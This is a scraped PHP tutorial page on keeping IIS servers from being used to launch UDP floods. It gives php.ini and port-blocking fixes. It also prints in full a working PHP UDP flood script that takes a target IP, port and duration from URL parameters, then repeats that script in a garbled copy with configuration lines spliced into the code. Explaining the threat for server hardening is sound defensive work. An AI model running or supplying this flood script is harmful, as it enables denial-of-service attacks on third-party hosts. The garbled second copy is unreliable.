Home >Backend Development >PHP Tutorial >Solution to iis preventing php ddos ​​from occupying network bandwidth and server resources_PHP tutorial

Solution to iis preventing php ddos ​​from occupying network bandwidth and server resources_PHP tutorial

WBOY
WBOYOriginal
2016-07-20 11:10:431174browse

Use PHP code to call sockets and directly use the server's network to attack other IPs. I have encountered this problem under Apache before. Today we will talk about how to prevent PHP DDos from occupying network bandwidth and server resources in IIS.

The common code for php ddos ​​is as follows:

The code is as follows
 代码如下 复制代码

$packets = 0;
$ip = $_GET['ip'];
$rand = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);

$exec_time = $_GET['time'];

$time = time();
print "Flooded: $ip on port $rand

";
$max_time = $time+$exec_time;


for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}

$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s n";
?>

Copy code

$packets = 0;
$ip = $_GET['ip'];
$rand = $_GET['port' ];
set_time_limit(0);
ignore_user_abort(FALSE);

$exec_time = $_GET['time'];

$time = time();
print "Flooded: $ip on port $rand

 代码如下 复制代码

allow_url_fopen = Off

";
$max_time = $time+$exec_time;


for($i=0 ;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time () > $max_time){
break;
}
 代码如下 复制代码

;extension=php_sockets.dll

$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5) ;
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo " Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$ exec_time, 2) . " packets/s n";
?>

 代码如下 复制代码

; ignore_user_abort = On

Performance characteristics:

As soon as IIS is turned on, the outflow bandwidth of the server Just use up ----- that is to say, the server keeps sending packets to others. This situation is different from being attacked by DDOS. DDOS keeps receiving a large number of data packets.

Solution:

Set its value in c:windowsphp.ini to Off

The code is as follows Copy code

allow_url_fopen = Off

and:
The code is as follows Copy code
;extension=php_sockets .dll must have the “;” sign in front, which means it is restricted to use sockets.dll and then:
The code is as follows
Copy code
; ignore_user_abort = On Remove the ";" sign in front of and then restart IISIf the above method still does not work, you can allow it in IIS In the extension, PHP extension testing is prohibited. Note: If your server does not want to run the mechanism php can be turned off. If necessary, you can disable php_sockets.dll. Another way is to block all udp ports. Yes, as long as some important ports such as 80 are open. http://www.bkjia.com/PHPjc/444702.htmlwww.bkjia.comtruehttp: //www.bkjia.com/PHPjc/444702.htmlTechArticleUse PHP code to call sockets and directly use the server's network to attack other IPs. I have encountered this under apache before Such a problem, today we will talk about preventing php Ddos from occupying the network bandwidth in IIS...
Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn